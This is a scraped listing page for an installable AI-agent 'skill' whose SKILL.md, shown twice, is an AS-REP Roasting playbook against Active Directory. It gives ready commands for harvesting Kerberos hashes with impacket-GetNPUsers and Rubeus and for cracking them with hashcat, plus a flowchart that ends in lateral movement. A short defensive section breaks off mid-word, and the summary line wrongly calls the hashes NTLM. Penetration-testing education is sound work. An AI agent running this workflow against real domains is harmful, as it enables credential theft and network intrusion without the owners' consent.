active-directory-asreproasting

Name: active-directory-asreproasting
Author: ShulkwiSEC

18stars5forks

How to install active-directory-asreproasting?

shulkwisec/bb-huge/active-directory-asreproasting

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-asreproasting

Installs into the current project.

Summary

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to aut

Files · 1

View on GitHub

SKILL.md

1	# Active Directory AS-REP Roasting
2
3	## When to Use
4	- When performing external or internal enumeration and you DO NOT possess any valid Active Directory credentials (a completely unauthenticated position), but you have a list of valid usernames.
5	- When an administrator has misconfigured user accounts by checking the "Do not require Kerberos preauthentication" setting (often done for legacy Linux integrations or broken service wrappers).
6	- As a secondary, faster credential extraction method alongside Kerberoasting.
7
8
9	## Prerequisites
10	- Network access to the target subnet (VPN, pivot, or direct connection)
11	- Nmap and relevant network scanning tools installed
12	- Understanding of TCP/IP, common protocols, and network segmentation
13	- Root/admin access on the attack machine for raw socket operations
14
15	## Workflow
16
17	### Phase 1: Understanding the Mechanism
18
19	```text
20	# Concept: By default in Active Directory, when a user requests a Kerberos Ticket (TGT),
21	# they must prove they know their password by sending a timestamp encrypted with their password
22	# hash (this is Preauthentication).
23
24	# The Vulnerability: If "Do not require Kerberos preauthentication" is enabled on a user account,
25	# ANYONE on the network can ask the Domain Controller for a TGT for that user.
26	# The DC will happily bundle up the TGT, encrypt a portion of it with the user's password hash,
27	# and send it to the attacker.
28
29	# The attacker can then take this AS-REP (Authentication Service Response) offline and crack it.
30	```
31
32	### Phase 2: Unauthenticated AS-REP Roasting (Impacket)
33
34	```bash
35	# Concept: From a Kali Linux box with NO domain credentials, we feed a list of usernames
36	# to the DC. If any have the flaw, we get their hash.
37
38	# 1. Provide Impacket with a wordlist of usernames to test against the Domain Controller.
39	impacket-GetNPUsers CORP.LOCAL/ -no-pass -usersfile usernames.txt -format hashcat -dc-ip 192.168.1.100
40
41	# 2. Output Analysis:
42	# If the user `SVC_Backup` is misconfigured, Impacket downloads the hash in real-time.
43	# Output: `$krb5asrep$23$SVC_Backup@CORP.LOCAL:34f41...`
44	```
45
46	### Phase 3: Authenticated Discovery (Rubeus)
47
48	```powershell
49	# Concept: If you ALREADY have compromised a low-level domain user, you don't need a wordlist.
50	# You can query LDAP explicitly for all misconfigured accounts and request the tickets automatically.
51
52	# 1. Execute Rubeus on a domain-joined machine.
53	.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
54
55	# Rubeus queries LDAP for `userAccountControl` containing `DONT_REQ_PREAUTH` (Value 4194304).
56	# It requests the AS-REP for every single vulnerable account found and outputs to the text file.
57	```
58
59	### Phase 4: Offline Cracking (Hashcat)
60
61	```bash
62	# Concept: The AS-REP hash must be decrypted to yield the plaintext password.
63
64	# 1. Identify the hash format. Standard AS-REPs are Kerberos 5 AS-REP etype 23 (Hash Type 18200).
65	# 2. Execute hashcat against the extracted file.
66	hashcat -m 18200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -O
67
68	# 3. If the user's password is in the dictionary, it will be cracked. You now possess valid credentials for the network.
69	```
70
71	#### Decision Point 🔀
72	```mermaid
73	flowchart TD
74	A[Identify target Domain] --> B{Do you have ANY valid credentials?}
75	B -->\|Yes\| C[Execute `Rubeus asreproast` or `GetNPUsers` with credentials to query LDAP directly]
76	B -->\|No\| D[Gather OSINT/Username lists (e.g., LinkedIn scraping, SMB Null Sessions)]
77	D --> E[Execute `GetNPUsers` providing the username list and `-no-pass`]
78	C --> F[Extract AS-REP Hashes]
79	E --> F
80	F --> G[Crack offline using Hashcat module 18200]
81	G --> H[Password Recovered. Lateral Movement achieved.]
82	```
83
84	## 🔵 Blue Team Detection & Defense
85	- Audit UserAccountControl: Immediately identify and remediate any Active Directory accounts with the `DONT_REQ_PREAUTH` flag enabled. Use PowerShell to audit the domain:
86	`Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True}`. Disable this requirement entirely unless absolutely required by a specific legacy appliance.
87	- Enforce Complex Passwords: As with Kerberoasting, if preauthentication disabling is mandatory for a system to function, the associated account must be enforced to use a 30+ character rando

People who liked this also viewed

6 picks

Type

active-directory-asreproasting

18stars5forks

View on GitHub

How to install active-directory-asreproasting?

shulkwisec/bb-huge/active-directory-asreproasting

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-asreproasting

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Active Directory AS-REP Roasting
2
3	## When to Use
4	- When performing external or internal enumeration and you DO NOT possess any valid Active Directory credentials (a completely unauthenticated position), but you have a list of valid usernames.
5	- When an administrator has misconfigured user accounts by checking the "Do not require Kerberos preauthentication" setting (often done for legacy Linux integrations or broken service wrappers).
6	- As a secondary, faster credential extraction method alongside Kerberoasting.
7
8
9	## Prerequisites
10	- Network access to the target subnet (VPN, pivot, or direct connection)
11	- Nmap and relevant network scanning tools installed
12	- Understanding of TCP/IP, common protocols, and network segmentation
13	- Root/admin access on the attack machine for raw socket operations
14
15	## Workflow
16
17	### Phase 1: Understanding the Mechanism
18
19	```text
20	# Concept: By default in Active Directory, when a user requests a Kerberos Ticket (TGT),
21	# they must prove they know their password by sending a timestamp encrypted with their password
22	# hash (this is Preauthentication).
23
24	# The Vulnerability: If "Do not require Kerberos preauthentication" is enabled on a user account,
25	# ANYONE on the network can ask the Domain Controller for a TGT for that user.
26	# The DC will happily bundle up the TGT, encrypt a portion of it with the user's password hash,
27	# and send it to the attacker.
28
29	# The attacker can then take this AS-REP (Authentication Service Response) offline and crack it.
30	```
31
32	### Phase 2: Unauthenticated AS-REP Roasting (Impacket)
33
34	```bash
35	# Concept: From a Kali Linux box with NO domain credentials, we feed a list of usernames
36	# to the DC. If any have the flaw, we get their hash.
37
38	# 1. Provide Impacket with a wordlist of usernames to test against the Domain Controller.
39	impacket-GetNPUsers CORP.LOCAL/ -no-pass -usersfile usernames.txt -format hashcat -dc-ip 192.168.1.100
40
41	# 2. Output Analysis:
42	# If the user `SVC_Backup` is misconfigured, Impacket downloads the hash in real-time.
43	# Output: `$krb5asrep$23$SVC_Backup@CORP.LOCAL:34f41...`
44	```
45
46	### Phase 3: Authenticated Discovery (Rubeus)
47
48	```powershell
49	# Concept: If you ALREADY have compromised a low-level domain user, you don't need a wordlist.
50	# You can query LDAP explicitly for all misconfigured accounts and request the tickets automatically.
51
52	# 1. Execute Rubeus on a domain-joined machine.
53	.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
54
55	# Rubeus queries LDAP for `userAccountControl` containing `DONT_REQ_PREAUTH` (Value 4194304).
56	# It requests the AS-REP for every single vulnerable account found and outputs to the text file.
57	```
58
59	### Phase 4: Offline Cracking (Hashcat)
60
61	```bash
62	# Concept: The AS-REP hash must be decrypted to yield the plaintext password.
63
64	# 1. Identify the hash format. Standard AS-REPs are Kerberos 5 AS-REP etype 23 (Hash Type 18200).
65	# 2. Execute hashcat against the extracted file.
66	hashcat -m 18200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -O
67
68	# 3. If the user's password is in the dictionary, it will be cracked. You now possess valid credentials for the network.
69	```
70
71	#### Decision Point 🔀
72	```mermaid
73	flowchart TD
74	A[Identify target Domain] --> B{Do you have ANY valid credentials?}
75	B -->\|Yes\| C[Execute `Rubeus asreproast` or `GetNPUsers` with credentials to query LDAP directly]
76	B -->\|No\| D[Gather OSINT/Username lists (e.g., LinkedIn scraping, SMB Null Sessions)]
77	D --> E[Execute `GetNPUsers` providing the username list and `-no-pass`]
78	C --> F[Extract AS-REP Hashes]
79	E --> F
80	F --> G[Crack offline using Hashcat module 18200]
81	G --> H[Password Recovered. Lateral Movement achieved.]
82	```
83
84	## 🔵 Blue Team Detection & Defense
85	- Audit UserAccountControl: Immediately identify and remediate any Active Directory accounts with the `DONT_REQ_PREAUTH` flag enabled. Use PowerShell to audit the domain:
86	`Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True}`. Disable this requirement entirely unless absolutely required by a specific legacy appliance.
87	- Enforce Complex Passwords: As with Kerberoasting, if preauthentication disabling is mandatory for a system to function, the associated account must be enforced to use a 30+ character rando

People who liked this also viewed

6 picks

Type